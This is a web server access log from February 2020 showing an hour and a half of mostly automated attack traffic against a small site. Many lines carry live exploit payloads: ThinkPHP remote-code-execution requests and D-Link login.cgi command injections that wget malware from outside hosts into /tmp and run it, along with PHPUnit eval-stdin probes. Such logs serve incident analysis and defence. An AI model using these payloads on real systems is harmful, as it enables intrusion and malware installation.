202.39.244.137 - - [02/Feb/2020:00:27:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
202.39.244.137 - - [02/Feb/2020:00:27:09 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
202.39.244.137 - - [02/Feb/2020:00:27:09 +0100] "POST /Admin56f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
163.177.127.74 - - [02/Feb/2020:00:27:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.234.14.59 - - [02/Feb/2020:00:28:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
188.17.100.117 - - [02/Feb/2020:00:30:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.112.144 - - [02/Feb/2020:00:33:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.76.205.25 - - [02/Feb/2020:00:33:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.213.110 - - [02/Feb/2020:00:35:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.31.254.47 - - [02/Feb/2020:00:36:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
94.120.61.195 - - [02/Feb/2020:00:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
188.18.24.242 - - [02/Feb/2020:00:40:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.163.32.15 - - [02/Feb/2020:00:41:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.167.230.94 - - [02/Feb/2020:00:43:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.63.52.50 - - [02/Feb/2020:00:45:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.18.165 - - [02/Feb/2020:00:45:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.76.42.78 - - [02/Feb/2020:00:45:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.140.156 - - [02/Feb/2020:00:45:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
192.3.8.162 - - [02/Feb/2020:00:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
192.3.8.162 - - [02/Feb/2020:00:47:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
49.235.146.76 - - [02/Feb/2020:00:49:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.184.27.111 - - [02/Feb/2020:00:51:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.69.57.15 - - [02/Feb/2020:00:53:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.23.33.204 - - [02/Feb/2020:00:55:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [02/Feb/2020:00:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [02/Feb/2020:00:56:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [02/Feb/2020:00:56:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
2.133.82.2 - - [02/Feb/2020:00:57:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.137.132 - - [02/Feb/2020:00:58:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:00:59:24 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.143.220.189 - - [02/Feb/2020:00:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
1.55.57.143 - - [02/Feb/2020:01:00:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:01:01:04 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:01:01:43 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
201.43.46.229 - - [02/Feb/2020:01:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
91.82.215.177 - - [02/Feb/2020:01:04:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
193.57.40.38 - - [02/Feb/2020:01:04:26 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:01:04:43 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
133.202.165.131 - - [02/Feb/2020:01:06:17 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://91.208.184.71/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
189.190.16.210 - - [02/Feb/2020:01:06:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
193.57.40.38 - - [02/Feb/2020:01:07:54 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:01:07:58 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.76.141.193 - - [02/Feb/2020:01:10:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.113.62 - - [02/Feb/2020:01:12:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.193.52 - - [02/Feb/2020:01:12:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
86.120.44.244 - - [02/Feb/2020:01:12:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.6.142.10 - - [02/Feb/2020:01:12:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
136.32.84.131 - - [02/Feb/2020:01:14:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.91.186 - - [02/Feb/2020:01:16:15 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.91.186 - - [02/Feb/2020:01:16:16 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.91.186 - - [02/Feb/2020:01:16:16 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
1.53.182.151 - - [02/Feb/2020:01:18:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.204.223.239 - - [02/Feb/2020:01:18:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
2.134.242.89 - - [02/Feb/2020:01:18:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.230 - - [02/Feb/2020:01:19:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:01:19:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:01:20:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:01:20:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:01:20:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
118.69.191.98 - - [02/Feb/2020:01:21:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.230 - - [02/Feb/2020:01:23:38 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:01:23:41 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:01:23:42 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:01:23:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.115.227.179 - - [02/Feb/2020:01:24:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
102.41.144.129 - - [02/Feb/2020:01:25:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.126.169 - - [02/Feb/2020:01:26:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.29.17.202 - - [02/Feb/2020:01:26:44 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.29.17.202 - - [02/Feb/2020:01:26:44 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.29.17.202 - - [02/Feb/2020:01:26:45 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.29.17.202 - - [02/Feb/2020:01:26:45 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.29.17.202 - - [02/Feb/2020:01:26:45 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.29.17.202 - - [02/Feb/2020:01:26:45 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.29.17.202 - - [02/Feb/2020:01:26:45 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.29.17.202 - - [02/Feb/2020:01:26:45 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.29.17.202 - - [02/Feb/2020:01:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
178.94.38.22 - - [02/Feb/2020:01:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
63.143.35.230 - - [02/Feb/2020:01:29:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
2.134.177.167 - - [02/Feb/2020:01:30:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
144.76.102.243 - - [02/Feb/2020:01:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/63.0.3239.84 Chrome/63.0.3239.84 Safari/537.36"
220.130.21.230 - - [02/Feb/2020:01:34:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.127.157.253 - - [02/Feb/2020:01:37:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
1.53.180.7 - - [02/Feb/2020:01:38:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.208.43 - - [02/Feb/2020:01:39:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.91.186 - - [02/Feb/2020:01:42:24 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.119.91.186 - - [02/Feb/2020:01:42:24 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.119.91.186 - - [02/Feb/2020:01:42:25 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
5.101.0.209 - - [02/Feb/2020:01:42:41 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:01:42:41 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:01:42:41 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:01:42:41 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
95.184.170.174 - - [02/Feb/2020:01:42:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.151.147.103 - - [02/Feb/2020:01:44:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.112.42.122 - - [02/Feb/2020:01:44:36 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
85.187.165.174 - - [02/Feb/2020:01:46:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.50.17.5 - - [02/Feb/2020:01:46:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.52.43.128 - - [02/Feb/2020:01:47:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
185.129.191.145 - - [02/Feb/2020:01:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.236.213.232 - - [02/Feb/2020:01:48:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.187.165.174 - - [02/Feb/2020:01:48:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
85.187.165.174 - - [02/Feb/2020:01:49:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
42.115.164.64 - - [02/Feb/2020:01:49:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.68.13 - - [02/Feb/2020:01:49:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.215.12.47 - - [02/Feb/2020:01:50:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
31.181.238.14 - - [02/Feb/2020:01:50:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
85.187.165.174 - - [02/Feb/2020:01:50:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
85.187.165.174 - - [02/Feb/2020:01:50:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
113.22.15.18 - - [02/Feb/2020:01:51:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.187.165.174 - - [02/Feb/2020:01:52:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
42.114.40.51 - - [02/Feb/2020:01:52:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.39.141 - - [02/Feb/2020:01:52:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
